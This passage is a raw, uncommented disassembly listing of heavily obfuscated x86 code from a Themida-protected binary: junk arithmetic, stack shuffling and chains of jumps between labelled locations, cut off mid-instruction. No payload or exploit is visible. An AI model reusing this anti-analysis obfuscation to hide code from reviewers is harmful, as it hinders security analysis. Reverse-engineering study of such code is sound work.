--------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_59838C ; --------------------------------------------------------------------------- loc_59F444: ; CODE XREF: Themida_:005A4933j push eax mov eax, esp add eax, 4 jmp loc_5A84F1 ; --------------------------------------------------------------------------- loc_59F451: ; CODE XREF: Themida_:0059E318j add esp, 2 mov bp, [esp] push ecx mov ecx, esp push ebx push edx push 32DE4BE3h pop edx xor edx, 32DE4BE7h push edx jmp loc_59A8AC ; --------------------------------------------------------------------------- loc_59F46F: ; CODE XREF: Themida_:00599444j ; Themida_:005A9EC2j xor cl, bh jmp loc_5A8AFC ; --------------------------------------------------------------------------- loc_59F476: ; CODE XREF: Themida_:0059FAF5j shl ebx, 2 or ebx, 1C716D06h jmp loc_5AD395 ; --------------------------------------------------------------------------- loc_59F484: ; CODE XREF: Themida_:005A2554j mov ebx, [esp] add esp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] mov ebp, [esp] push ecx mov ecx, esp jmp loc_5A0421 ; --------------------------------------------------------------------------- loc_59F4A0: ; CODE XREF: Themida_:005AC8B7j sub al, 47h sub al, bh add al, 47h jmp loc_59EF39 ; --------------------------------------------------------------------------- loc_59F4AB: ; CODE XREF: Themida_:005A03E9j push 3F23h jmp loc_599096 ; --------------------------------------------------------------------------- loc_59F4B5: ; CODE XREF: Themida_:0059FDCFj add edx, ebx pop ebx xchg edx, [esp] pop esp and ecx, edi push dword ptr [esp] pop edi add esp, 4 shr ecx, 0Bh push ebp push esp mov ebp, [esp] add esp, 4 add ebp, 4 sub ebp, 4 jmp loc_5A3BD2 ; --------------------------------------------------------------------------- loc_59F4E4: ; CODE XREF: Themida_:0059B935j ; Themida_:0059F035j xor [esp], ecx jmp loc_5AE016 ; --------------------------------------------------------------------------- mov cx, [esp] push 5632h mov [esp], esi push esp pop esi sub esp, 4 mov [esp], ebp jmp loc_5A826C ; --------------------------------------------------------------------------- loc_59F508: ; CODE XREF: Themida_:00598869j sub esp, 4 jmp loc_59E9BF ; --------------------------------------------------------------------------- loc_59F510: ; CODE XREF: Themida_:005A3AF6j jl loc_5A0F32 and ebx, 11D108BBh jle loc_59B7BB mov ebx, esi loc_59F524: ; CODE XREF: Themida_:005A5430j push ebp mov ebp, esp jmp loc_5AB681 ; --------------------------------------------------------------------------- loc_59F52C: ; CODE XREF: Themida_:005ADD9Cj push edx mov edx, esp add edx, 4 jmp loc_5A9665 ; --------------------------------------------------------------------------- loc_59F53A: ; CODE XREF: Themida_:005A8D85j xchg esi, edi jmp loc_5A1A17 ; --------------------------------------------------------------------------- loc_59F541: ; CODE XREF: Themida_:005A824Bj ; Themida_:005AC29Fj mov ebx, 3642C72h neg ebx shl ebx, 6 add ebx, 210A5F6Fh sub ebx, 6F436D3Ch dec ebx xor ebx, 0BCF6E8B3h add edx, 26513B8Ch sub edx, ebx sub edx, 26513B8Ch pop ebx jmp loc_5A0F16 ; --------------------------------------------------------------------------- loc_59F572: ; CODE XREF: Themida_:0059C55Dj sub ebx, 0C5C39179h push ecx mov ecx, 23C0361Bh and ecx, 1D657C7Eh jmp loc_5AAB7A ; --------------------------------------------------------------------------- loc_59F589: ; CODE XREF: Themida_:005A9002j ; Themida_:005AC732j jmp loc_59838C ; --------------------------------------------------------------------------- loc_59F58E: ; CODE XREF: Themida_:00598DE6j neg esi add esi, 50D953B0h not esi inc esi or esi, 499F155Eh jmp loc_59E1E8 ; --------------------------------------------------------------------------- loc_59F5A4: ; CODE XREF: Themida_:005A5B42j mov ebp, 4 mov esi, ebp pop ebp add edx, esi pop esi push 7A45h mov [esp], edi push 55C3h mov [esp], edx jmp loc_5A1F16 ; --------------------------------------------------------------------------- loc_59F5C4: ; CODE XREF: Themida_:005AB38Fj push 44EFh jmp loc_59B302 ; --------------------------------------------------------------------------- loc_59F5CE: ; CODE XREF: Themida_:0059DBB1j add esp, 4 mov eax, [esp] add esp, 4 push bx mov bl, ch xchg dh, bl not dh xchg dh, bl mov ch, bl mov bx, [esp] add esp, 2 jmp loc_5ADA2A ; --------------------------------------------------------------------------- loc_59F5F2: ; CODE XREF: Themida_:005AA9C6j add eax, edx mov edx, [esp] jmp loc_59A52B ; --------------------------------------------------------------------------- loc_59F5FC: ; CODE XREF: Themida_:005AB90Fj sub bl, ch pop ecx add bl, 5Eh shr bl, 5 sub bl, 0EFh sub al, bl pop ebx push edx mov dl, 8Fh add bl, dl push dword ptr [esp] pop edx push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5AD2F6 ; --------------------------------------------------------------------------- loc_59F625: ; CODE XREF: Themida_:005A1087j pop esi push eax push esp jmp loc_5A82CD ; --------------------------------------------------------------------------- loc_59F62D: ; CODE XREF: Themida_:0059AD8Fj push ebx push 3756h mov [esp], esp add dword ptr [esp], 4 pop ebx push ebp push esp jmp loc_5ABBBF ; --------------------------------------------------------------------------- loc_59F642: ; CODE XREF: Themida_:005A9537j mov ecx, ebx jmp loc_5A914D ; --------------------------------------------------------------------------- loc_59F649: ; CODE XREF: Themida_:0059E382j add ecx, 29CB5F6Ah mov ebx, [esp] add esp, 4 rep movsd add esp, [edx+38h] jmp loc_5A052B ; --------------------------------------------------------------------------- loc_59F662: ; CODE XREF: Themida_:00599688j shr esi, 7 jmp loc_59ED71 ; --------------------------------------------------------------------------- loc_59F66A: ; CODE XREF: Themida_:005AF351j pop eax mov eax, edi pop edi shl eax, 7 sub eax, 44507D80h sub eax, 785137C5h add eax, 80566BD6h jmp loc_5A6AC4 ; --------------------------------------------------------------------------- loc_59F685: ; CODE XREF: Themida_:005A36C5j add esp, 4 jmp loc_5A67A0 ; --------------------------------------------------------------------------- loc_59F690: ; CODE XREF: Themida_:005A3231j mov edx, 4 add esi, edx mov edx, [esp] add esp, 4 push eax mov eax, 4 add esi, eax pop eax push ebp mov ebp, esp add ebp, 4 jmp loc_59E85B ; --------------------------------------------------------------------------- loc_59F6B4: ; CODE XREF: Themida_:005A4A5Fj inc edi xor edi, 5DB91CE3h jns loc_59C181 not edi push ecx jmp loc_5A6470 ; --------------------------------------------------------------------------- push edi push ebx mov ch, 0DAh pop esp loc_59F6CF: ; CODE XREF: Themida_:005AD2B9j dec ebx jmp loc_5A58AD ; --------------------------------------------------------------------------- loc_59F6D5: ; CODE XREF: Themida_:005AC17Bj add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_5AEF2B ; --------------------------------------------------------------------------- loc_59F6E9: ; CODE XREF: Themida_:0059DBE0j mov ebx, edx mov edx, [esp] add esp, 4 push eax mov eax, 0C4D7E33h jmp loc_5A428A ; --------------------------------------------------------------------------- loc_59F6FC: ; CODE XREF: Themida_:0059F876j add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, esp push 79C3h mov [esp], eax mov eax, 66885972h push ebx jmp loc_59AD94 ; --------------------------------------------------------------------------- loc_59F720: ; CODE XREF: Themida_:005A4449j mov ebx, 567E22BCh push edi jmp loc_59AEE9 ; --------------------------------------------------------------------------- loc_59F72B: ; CODE XREF: Themida_:005A4D50j pop edx push ecx jmp loc_5A9B00 ; --------------------------------------------------------------------------- loc_59F732: ; CODE XREF: Themida_:005AACF6j sub edx, ecx mov ecx, [esp] jmp loc_5A9A17 ; --------------------------------------------------------------------------- loc_59F73C: ; CODE XREF: Themida_:005ADA25j pop ecx sub ebx, eax pop eax and eax, ebx pop ebx or edx, eax shl edx, 1 push 1CEEh mov [esp], edx mov edx, 3AC958C5h inc edx jge loc_5AB966 xor edx, 7503011Bh jz loc_5AA8CA pop edi loc_59F768: ; CODE XREF: Themida_:00599D6Dj xor ebp, 68307B84h jmp loc_5A8DF2 ; --------------------------------------------------------------------------- loc_59F773: ; CODE XREF: Themida_:005A5A37j sub eax, ecx pop ecx push ebx jmp loc_5AE96B ; --------------------------------------------------------------------------- loc_59F77C: ; CODE XREF: Themida_:005A2FB2j add esi, eax push dword ptr [esp] pop eax jmp loc_5A180D ; --------------------------------------------------------------------------- loc_59F787: ; CODE XREF: Themida_:005A36F9j mov ebx, 691747DEh xor ebx, 51AB728Eh jno loc_599ED6 jmp loc_5A4498 ; --------------------------------------------------------------------------- xor edi, 0D7791B02h pop ebx loc_59F7A4: ; CODE XREF: Themida_:005A0EE3j xchg ebx, [esp] pop esp jmp loc_5ADE1C ; --------------------------------------------------------------------------- loc_59F7AD: ; CODE XREF: Themida_:005A18A8j ; Themida_:005A46D4j push edi jmp loc_5A93C2 ; --------------------------------------------------------------------------- loc_59F7B3: ; CODE XREF: Themida_:005A9E11j add ebx, ecx mov ecx, [esp] add esp, 4 xchg ebx, [esp] pop esp jmp loc_59CA0C ; --------------------------------------------------------------------------- loc_59F7C4: ; CODE XREF: Themida_:005A8338j xor eax, 6ABF3E62h mov esi, eax push dword ptr [esp] pop eax add esp, 4 add ecx, esi jmp loc_5ABE0F ; --------------------------------------------------------------------------- loc_59F7D9: ; CODE XREF: Themida_:005AAE5Cj add ebp, eax pop eax sub ebp, 18B1AE74h add ecx, 15CF5B09h sub ecx, ebp sub ecx, 15CF5B09h jmp loc_5A887D ; --------------------------------------------------------------------------- loc_59F7F5: ; CODE XREF: Themida_:0059D036j mov [esp], edx jmp loc_5A130E ; --------------------------------------------------------------------------- loc_59F7FD: ; CODE XREF: Themida_:loc_598F0Ej push ecx mov ecx, 9483E196h xor ebx, ecx pop ecx add ebx, 65852D52h add ebx, 746C5347h add ebx, edi sub esp, 4 mov [esp], eax mov eax, 746C5347h jmp loc_5A8009 ; --------------------------------------------------------------------------- loc_59F824: ; CODE XREF: Themida_:0059E6F6j push 3CBF2F9Dh jmp loc_5A6E3D ; --------------------------------------------------------------------------- loc_59F82E: ; CODE XREF: Themida_:005A4775j mov [esp], eax mov ah, 7Ah xor ah, 73h add bl, ah push dword ptr [esp] push dword ptr [esp] jmp loc_5A905F ; --------------------------------------------------------------------------- loc_59F843: ; CODE XREF: Themida_:005A928Bj inc cl jnp loc_5AF040 push edx mov dl, 32h shl dl, 6 xor dl, 87h push eax mov al, 59h mov cl, al loc_59F859: ; CODE XREF: Themida_:005ABC70j pop esi dec edx jmp loc_5A3D56 ; --------------------------------------------------------------------------- loc_59F860: ; CODE XREF: Themida_:005A4C23j push edi mov edi, 2EF17341h jmp loc_5A3CD1 ; --------------------------------------------------------------------------- loc_59F86B: ; CODE XREF: Themida_:00598C37j jmp loc_59CE55 ; --------------------------------------------------------------------------- loc_59F870: ; CODE XREF: Themida_:005990EDj push dword ptr [esp] mov eax, [esp] jmp loc_59F6FC ; --------------------------------------------------------------------------- loc_59F87B: ; CODE XREF: Themida_:005A61F2j mov [esp], eax mov eax, 4 jmp loc_5A2A97 ; --------------------------------------------------------------------------- loc_59F888: ; CODE XREF: Themida_:005A80B7j not ebx jmp loc_5A9AF2 ; --------------------------------------------------------------------------- loc_59F88F: ; CODE XREF: Themida_:005A58B3j mov edi, ebx jmp loc_5AC4EC ; --------------------------------------------------------------------------- loc_59F896: ; CODE XREF: Themida_:005AD4F2j add edi, ebp add edi, 69E47673h sub edi, 47870C74h pop ebp jmp loc_5AF3F9 ; --------------------------------------------------------------------------- loc_59F8AA: ; CODE XREF: Themida_:005A9C08j sub ebx, 0ADA0C8Eh add ebx, esi add ebx, 0ADA0C8Eh pop esi pop small word ptr [eax] jmp loc_59838C ; --------------------------------------------------------------------------- loc_59F8C1: ; CODE XREF: Themida_:005A578Bj sub ecx, 430F0E83h add ecx, edi add ecx, 430F0E83h jmp loc_59EDE7 ; --------------------------------------------------------------------------- loc_59F8D4: ; CODE XREF: Themida_:005A378Bj mov [esp], dx mov dl, 0EAh sub al, dl pop dx jmp loc_599ACC ; --------------------------------------------------------------------------- loc_59F8E3: ; CODE XREF: Themida_:0059B7B6j shr esi, 2 and esi, 211F44FBh jmp loc_5AB9E2 ; --------------------------------------------------------------------------- loc_59F8F1: ; CODE XREF: Themida_:005ACB29j mov ecx, [esp] jmp loc_5A6618 ; --------------------------------------------------------------------------- loc_59F8F9: ; CODE XREF: Themida_:0059A099j mov [esp], edx jmp loc_59CA47 ; --------------------------------------------------------------------------- loc_59F901: ; CODE XREF: Themida_:0059A0CDj add ebp, ecx pop ecx xor ebp, 0B507D12h jmp loc_59D000 ; --------------------------------------------------------------------------- loc_59F90F: ; CODE XREF: Themida_:005A3FD3j pop dword ptr [esp] pop esp mov [esp], edx push ebp jmp loc_5A300E ; --------------------------------------------------------------------------- loc_59F91C: ; CODE XREF: Themida_:005A194Aj add edi, edx push dword ptr [esp] pop edx jmp loc_5AAA0C ; --------------------------------------------------------------------------- loc_59F927: ; CODE XREF: Themida_:005A0E16j pop ecx shl ebx, 2 xor ebx, 0A159C6FDh sub eax, ebx pop ebx add eax, edi add eax, 1BAD2A05h pop edi jmp loc_5A4CD5 ; --------------------------------------------------------------------------- loc_59F941: ; CODE XREF: Themida_:0059E402j mov ebx, 4A39017Bh or ebx, 4E036B59h jmp loc_5A045C ; --------------------------------------------------------------------------- loc_59F951: ; CODE XREF: Themida_:005A7ECBj mov cl, bh mov ah, cl mov ecx, [esp] add esp, 4 pop ebx mov ch, ah pop eax or ch, 1Ah xor ch, 0C6h shl ch, 5 or ch, 67h add ch, 48h sub al, ch pop ecx jmp loc_5A3097 ; --------------------------------------------------------------------------- loc_59F976: ; CODE XREF: Themida_:005AA9EAj mov [esp], ecx push eax jmp loc_5A2460 ; --------------------------------------------------------------------------- loc_59F97F: ; CODE XREF: Themida_:0059AF5Ej ; Themida_:005A4636j push 5D165F1Bh pop eax push ebx push esi mov esi, 48093A51h mov ebx, 62C24C6Ah xor ebx, esi pop esi add eax, 23961B79h add eax, ebx sub eax, 23961B79h pop ebx push 0 jmp loc_5AC41B ; --------------------------------------------------------------------------- loc_59F9AB: ; CODE XREF: Themida_:0059E9BAj mov edx, esp jmp loc_59F0CF ; --------------------------------------------------------------------------- loc_59F9B2: ; CODE XREF: Themida_:005AEE0Fj add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx jmp loc_5A047B ; --------------------------------------------------------------------------- loc_59F9C7: ; CODE XREF: Themida_:0059A0BAj mov esp, [esp] add esp, 4 push ebp push eax push ebp mov ebp, 5A1A7BE0h jmp loc_5A9CB6 ; --------------------------------------------------------------------------- loc_59F9DA: ; CODE XREF: Themida_:005A9657j push dword ptr [esp] pop eax jmp loc_5A367E ; --------------------------------------------------------------------------- loc_59F9E3: ; CODE XREF: Themida_:005A481Cj xor eax, 7A9A50E8h add eax, 1F014080h add esi, eax pop eax push 2160h mov [esp], ebx mov ebx, 4 jmp loc_5AB2EE ; --------------------------------------------------------------------------- loc_59FA02: ; CODE XREF: Themida_:0059C4A8j push eax xor dword ptr [esp], 65947292h pop ebx xor ebx, 65947292h pop eax mov esi, [esp] add esp, 4 jmp loc_5A505A ; --------------------------------------------------------------------------- loc_59FA20: ; CODE XREF: Themida_:0059B0B4j sub ebx, 12A27443h mov eax, ebx jmp loc_5ADD00 ; --------------------------------------------------------------------------- loc_59FA2D: ; CODE XREF: Themida_:0059D24Fj not bl jmp loc_5A7D6B ; --------------------------------------------------------------------------- loc_59FA34: ; CODE XREF: Themida_:005A363Ej pop edi jmp loc_5989B4 ; --------------------------------------------------------------------------- loc_59FA3A: ; CODE XREF: Themida_:0059E347j or esi, 24C0655h jmp loc_5A3E11 ; --------------------------------------------------------------------------- loc_59FA45: ; CODE XREF: Themida_:005A88ADj push dword ptr [esp] pop eax push 79ABh jmp loc_59ED96 ; --------------------------------------------------------------------------- loc_59FA53: ; CODE XREF: Themida_:005A8A08j add ebx, edi sub ebx, 18B8444Ah pop edi add ebx, 2 xchg ebx, [esp] pop esp mul cx push small 5169h mov [esp], dx jmp loc_5A8B24 ; --------------------------------------------------------------------------- loc_59FA73: ; CODE XREF: Themida_:005AA16Ej push ecx push edx mov edx, 3F836EFAh neg edx dec edx jno loc_59E086 dec edx jg loc_5A07D0 sub edx, 4CE67444h loc_59FA90: ; CODE XREF: Themida_:005A2689j movzx cx, al push cx pushf jmp loc_5A2AF6 ; --------------------------------------------------------------------------- loc_59FA9C: ; CODE XREF: Themida_:005A6DF6j push edi mov edi, 0BA471CDh shr edi, 1 shr edi, 8 jmp loc_59978D ; --------------------------------------------------------------------------- loc_59FAAC: ; CODE XREF: Themida_:00599452j ; Themida_:0059EE1Aj not ecx inc ecx add ecx, 233E56AEh push ecx jmp loc_59C494 ; --------------------------------------------------------------------------- loc_59FABB: ; CODE XREF: Themida_:005A17B2j xor eax, 4FF45DFBh add ebp, eax pop eax xchg ebp, [esp] pop esp jmp loc_5AF285 ; --------------------------------------------------------------------------- loc_59FACC: ; CODE XREF: Themida_:005A1A12j add bl, ch pop cx jmp loc_5A38F7 ; --------------------------------------------------------------------------- loc_59FAD5: ; CODE XREF: Themida_:005A0265j mov [esp], ebx push esp mov ebx, [esp] jmp loc_5A6C1D ; --------------------------------------------------------------------------- loc_59FAE1: ; CODE XREF: Themida_:0059952Ej add esp, 4 sub cl, 85h jmp loc_5AE965 ; --------------------------------------------------------------------------- loc_59FAEF: ; CODE XREF: Themida_:loc_599ED6j or ebx, 47D33DC4h ja loc_59F476 shl ebx, 2 or ebx, 1C716D06h mov cl, cl loc_59FB06: ; CODE XREF: Themida_:005A65A1j add ebp, 0CFBC6699h mov edx, ebp jmp loc_5ACAD7 ; --------------------------------------------------------------------------- loc_59FB13: ; CODE XREF: Themida_:005A879Ej sub ebx, eax add ebx, 3EA94280h jmp loc_599A47 ; --------------------------------------------------------------------------- loc_59FB20: ; CODE XREF: Themida_:005AEB92j pop esi mov ecx, esi push dword ptr [esp] pop esi jmp loc_5A329E ; --------------------------------------------------------------------------- loc_59FB2C: ; CODE XREF: Themida_:005AAFDFj mov eax, [esp] add esp, 4 push ebx push 66CAh mov [esp], esp jmp loc_599016 ; --------------------------------------------------------------------------- loc_59FB43: ; CODE XREF: Themida_:005AC1ACj xchg edi, [esp] mov esp, [esp] xor ecx, [esp] jmp loc_5A4BC1 ; --------------------------------------------------------------------------- loc_59FB51: ; CODE XREF: Themida_:005A7219j xor ebx, [esp] jmp loc_5A6F1A ; --------------------------------------------------------------------------- loc_59FB59: ; CODE XREF: Themida_:005A5412j ; Themida_:005A8906j push dword ptr [esp] pop ecx add esp, 4 pop dword ptr [esp] mov esp, [esp] push ecx sub esp, 4 mov [esp], eax push 0 mov eax, [esp] add esp, 4 jmp loc_5AC971 ; --------------------------------------------------------------------------- loc_59FB83: ; CODE XREF: Themida_:005A6A5Aj add edx, edi jmp loc_5A9D97 ; --------------------------------------------------------------------------- loc_59FB8A: ; CODE XREF: Themida_:loc_5A1DAEj push 65C0h mov [esp], ecx mov cx, 74CFh and cx, 74F0h jmp loc_59B847 ; --------------------------------------------------------------------------- loc_59FBA0: ; CODE XREF: Themida_:005AA37Dj push ebx mov ebx, 6F831ACCh inc ebx jle loc_5AE597 jmp loc_5AEAAC ; --------------------------------------------------------------------------- loc_59FBB2: ; CODE XREF: Themida_:005A8FE1j jmp loc_5ACABC ; --------------------------------------------------------------------------- loc_59FBB7: ; CODE XREF: Themida_:005AEE54j push esp pop edi add edi, 4 jmp loc_5998B5 ; --------------------------------------------------------------------------- loc_59FBC4: ; CODE XREF: Themida_:005A525Aj pop ecx push dword ptr [esp] pop edx push 7182h mov [esp], eax jmp loc_599C2C ; --------------------------------------------------------------------------- loc_59FBD6: ; CODE XREF: Themida_:005A7DA5j push 6A2Fh mov [esp], ebp sub esp, 4 mov [esp], eax add dword ptr [esp], 54837856h pop ebp sub ebp, 54837856h jmp loc_5A42E2 ; --------------------------------------------------------------------------- loc_59FBF7: ; CODE XREF: Themida_:005A77D7j sub edx, 44971BE5h jnp loc_5A6FE7 xor edx, 7E5B4Dh jl loc_5AC961 mov dh, dh loc_59FC11: ; CODE XREF: Themida_:0059B473j mov edi, 598842BAh add ecx, edi mov edi, [esp] add esp, 4 push edx jmp loc_5AD25B ; --------------------------------------------------------------------------- loc_59FC24: ; CODE XREF: Themida_:005ACADCj pop ebp mov eax, [esp] add esp, 4 push ecx mov ecx, 554946CEh sub ecx, 5CA039Fh jmp loc_59A03A ; --------------------------------------------------------------------------- loc_59FC3C: ; CODE XREF: Themida_:005A210Bj mov ebp, esp jmp loc_59E8AC ; --------------------------------------------------------------------------- loc_59FC43: ; CODE XREF: Themida_:0059B132j pop ecx not ecx add ecx, 0E5FFEE2Ch and eax, ecx push dword ptr [esp] pop ecx add esp, 4 or eax, eax jz loc_59B17A sub esp, 4 mov [esp], ebx jmp loc_5A18DB ; --------------------------------------------------------------------------- loc_59FC68: ; CODE XREF: Themida_:0059AC64j push dword ptr [esp] mov esi, [esp] add esp, 4 jmp loc_59CA16 ; --------------------------------------------------------------------------- loc_59FC76: ; CODE XREF: Themida_:005A32BBj dec ch sub ch, 0EBh jmp loc_59F0E4 ; --------------------------------------------------------------------------- loc_59FC80: ; CODE XREF: Themida_:005A8243j shr ebx, 1 jz loc_5A06BE sub ebx, 1EF99FFBh push ebx xor dword ptr [esp], 96E2F15h jmp loc_5A8AC7 ; --------------------------------------------------------------------------- loc_59FC9B: ; CODE XREF: Themida_:005983F6j sub esp, 4 mov [esp], edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] pop edx push 2EDAh jmp loc_5A15F3 ; --------------------------------------------------------------------------- loc_59FCC5: ; CODE XREF: Themida_:005A33C6j jmp loc_5A8404 ; --------------------------------------------------------------------------- loc_59FCCA: ; CODE XREF: Themida_:0059E418j ; Themida_:005AE554j add esi, 719C3375h or edx, esi pop esi add edx, 1 add edx, 4310394Bh add edx, 423DEC4Fh jmp loc_59C233 ; --------------------------------------------------------------------------- loc_59FCEA: ; CODE XREF: Themida_:005A5B8Cj ; Themida_:005A62C2j push ebx mov ebx, esp push ebp mov ebp, 6BBF6018h and ebp, 60E50A92h or ebp, 23FF7EC1h xor ebp, 61554BD0h sub ebp, 2AA34FDh add ebx, ebp jmp loc_59AE2F ; --------------------------------------------------------------------------- loc_59FD12: ; CODE XREF: Themida_:005A31C4j mov edi, 68EA371Dh jmp loc_5AE935 ; --------------------------------------------------------------------------- loc_59FD1C: ; CODE XREF: Themida_:005AAA20j add ecx, 59866DDh not ecx push ebp mov ebp, 52C86C29h dec ebp and ebp, 50D63404h add ebp, 2FC6E43h sub ebp, 7AB24712h push esi jmp loc_5ADB90 ; --------------------------------------------------------------------------- loc_59FD43: ; CODE XREF: Themida_:005A7711j mov ecx, esp add ecx, 4 add ecx, 2 jmp loc_59D60D ; --------------------------------------------------------------------------- loc_59FD53: ; CODE XREF: Themida_:0059C509j ; Themida_:0059C5E8j mov edi, 21993A08h add edi, 2DAD4073h not edi or edi, 1AD40758h neg edi jmp loc_5A7143 ; --------------------------------------------------------------------------- loc_59FD6D: ; CODE XREF: Themida_:005A4A15j push ebx mov ebx, 5A7F7DB3h shl ebx, 3 push edi sub esp, 4 mov [esp], ebp mov ebp, 5E802D27h mov edi, ebp pop ebp add ebx, edi pop edi add eax, ebx pop ebx and eax, 0CED437Ah push ecx mov ecx, 308B22CAh add eax, ecx pop ecx add eax, 0C48C83BBh xor edi, eax push dword ptr [esp] pop eax push 5D60h mov [esp], edx mov edx, esp add edx, 4 sub esp, 4 mov [esp], ebx mov ebx, 36E53E9h inc ebx xor ebx, 6AA14F56h sub ebx, 69CF1CB8h jmp loc_59F4B5 ; --------------------------------------------------------------------------- loc_59FDD4: ; CODE XREF: Themida_:005A7B99j add ecx, 4 xchg ecx, [esp] mov esp, [esp] neg esi jmp loc_5AD922 ; --------------------------------------------------------------------------- loc_59FDE4: ; CODE XREF: Themida_:0059E2F7j push esi mov esi, 40880D51h jmp loc_5AEB3D ; --------------------------------------------------------------------------- loc_59FDEF: ; CODE XREF: Themida_:005AE4ADj add ebx, 13C34CAh add ebx, edx sub ebx, 13C34CAh pop edx add eax, 74070E7Bh sub eax, 59DE459Ah add eax, ebx add eax, 59DE459Ah sub eax, 74070E7Bh mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_5AABDA ; --------------------------------------------------------------------------- loc_59FE2B: ; CODE XREF: Themida_:005AE003j push esi mov esi, 49DC6673h jmp loc_59D75C ; --------------------------------------------------------------------------- loc_59FE36: ; CODE XREF: Themida_:005AF1C8j jns loc_5AE59C sub esi, 48E06892h mov ebp, esi mov esi, [esp] jmp loc_5A9325 ; --------------------------------------------------------------------------- loc_59FE4C: ; CODE XREF: Themida_:0059C66Ej xor ax, bx push edx mov dx, 6C8Dh not dx inc dx sub dx, 0D233h add ax, 7E50h add ax, 7FE5h push ebp jmp loc_5A842C ; --------------------------------------------------------------------------- loc_59FE6C: ; CODE XREF: Themida_:005AE4D9j pop dword ptr [esp] mov esp, [esp] mov cx, [esp] jmp loc_59A4BE ; --------------------------------------------------------------------------- loc_59FE7B: ; CODE XREF: Themida_:005A57D4j pop edi jmp loc_5A5BD2 ; --------------------------------------------------------------------------- loc_59FE81: ; CODE XREF: Themida_:005AE6D3j mov ebp, esp add ebp, 4 jmp loc_5A88B2 ; --------------------------------------------------------------------------- loc_59FE8E: ; CODE XREF: Themida_:005A646Bj push eax mov eax, 2AA94F75h sub esi, eax mov eax, [esp] add esp, 4 pop ebx push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] sub [esp], ax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_59FEB8: ; CODE XREF: Themida_:005A1760j pop edx pop eax jmp loc_59E0D2 ; --------------------------------------------------------------------------- loc_59FEBF: ; CODE XREF: Themida_:0059C954j add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esp push ecx jmp loc_5AA487 ; --------------------------------------------------------------------------- loc_59FED5: ; CODE XREF: Themida_:005A2645j push edx jmp loc_59CCB1 ; --------------------------------------------------------------------------- loc_59FEDB: ; CODE XREF: Themida_:005A5F42j not ecx add ecx, 83616687h push 0B83h mov [esp], ebp push edi mov edi, 604E7593h mov ebp, 0F59EC33Fh add ebp, edi mov edi, [esp] add esp, 4 jmp loc_5A36AA ; --------------------------------------------------------------------------- loc_59FF06: ; CODE XREF: Themida_:0059DC3Ej push eax mov eax, 4 add ebp, eax pop eax add ebp, 4 xchg ebp, [esp] pop esp mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] mov [edx], ch mov ecx, [esp] add esp, 4 jmp loc_59838C ; --------------------------------------------------------------------------- loc_59FF3B: ; CODE XREF: Themida_:005A12CCj mov esi, 71E42636h jmp loc_5AEABC ; --------------------------------------------------------------------------- loc_59FF45: ; CODE XREF: Themida_:005A743Bj xchg esi, [esp] pop esp jmp loc_59BCE1 ; --------------------------------------------------------------------------- loc_59FF4E: ; CODE XREF: Themida_:005AB43Fj add edx, edi pop edi jmp loc_5A8D8A ; --------------------------------------------------------------------------- loc_59FF56: ; CODE XREF: Themida_:loc_5AB3A2j push edx mov edx, 38CB6A8Ah shl edx, 2 jmp loc_5AE741 ; --------------------------------------------------------------------------- loc_59FF64: ; CODE XREF: Themida_:005A4451j push dword ptr [esp] jmp loc_5A3DC7 ; --------------------------------------------------------------------------- loc_59FF6C: ; CODE XREF: Themida_:005A7C45j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp mov ebp, esp jmp loc_5ABDF9 ; --------------------------------------------------------------------------- loc_59FF89: ; CODE XREF: Themida_:005A0628j push ecx sub esp, 4 mov [esp], esi push 189F5367h pop esi xor esi, 6A6D56ECh jb loc_5A2794 neg esi jmp loc_5A06CB ; --------------------------------------------------------------------------- loc_59FFAC: ; CODE XREF: Themida_:0059DE58j mov ecx, 67A10E7Ch add eax, 9F81A20h jmp loc_5A9EDE ; --------------------------------------------------------------------------- loc_59FFBB: ; CODE XREF: Themida_:005A2B9Ej push 4D76291Ch pop edi shr edi, 1 jmp loc_5AE295 ; --------------------------------------------------------------------------- loc_59FFC8: ; CODE XREF: Themida_:005A5055j mov ecx, [esp] add esp, 4 push 65C0h mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov fs:[edx], ax jmp loc_5AD08F ; --------------------------------------------------------------------------- loc_59FFEB: ; CODE XREF: Themida_:005A061Aj mov [esp], ebx mov ebx, 6CC39A7h or ecx, ebx pop ebx push 1AFAh mov [esp], eax mov eax, 612E7C2Fh and ecx, eax jmp loc_5A912F ; --------------------------------------------------------------------------- loc_5A000A: ; CODE XREF: Themida_:005A2434j mov ebx, 0FF8E2984h add eax, ebx pop ebx mov esi, eax pop eax add edi, esi push dword ptr [esp] pop esi add esp, 4 push ebx mov ebx, esp jmp loc_59B478 ; --------------------------------------------------------------------------- loc_5A0029: ; CODE XREF: Themida_:005A0DDAj push 4B8E764Eh jmp loc_59F0EF ; --------------------------------------------------------------------------- loc_5A0033: ; CODE XREF: Themida_:005A6293j pop edx jmp loc_59AF23 ; --------------------------------------------------------------------------- loc_5A0039: ; CODE XREF: Themida_:005A0053j push edi mov edi, 39B15D45h sub edi, 43174E52h jmp loc_59D887 ; --------------------------------------------------------------------------- loc_5A004A: ; CODE XREF: Themida_:005A9B90j push 684D3BC5h pop edx not edx dec edx jnp loc_5A0039 push edi mov edi, 39B15D45h sub edi, 43174E52h jmp loc_5A2560 ; --------------------------------------------------------------------------- loc_5A006A: ; CODE XREF: Themida_:005AD66Fj xor ecx, ebx jmp loc_5A1E35 ; --------------------------------------------------------------------------- loc_5A0071: ; CODE XREF: Themida_:005A3CABj push eax mov eax, 64D25C98h jmp loc_5A1C34 ; --------------------------------------------------------------------------- loc_5A007C: ; CODE XREF: Themida_:0059950Dj ; Themida_:005AC08Fj add eax, ecx add eax, 20F5695Dh mov ecx, [esp] add 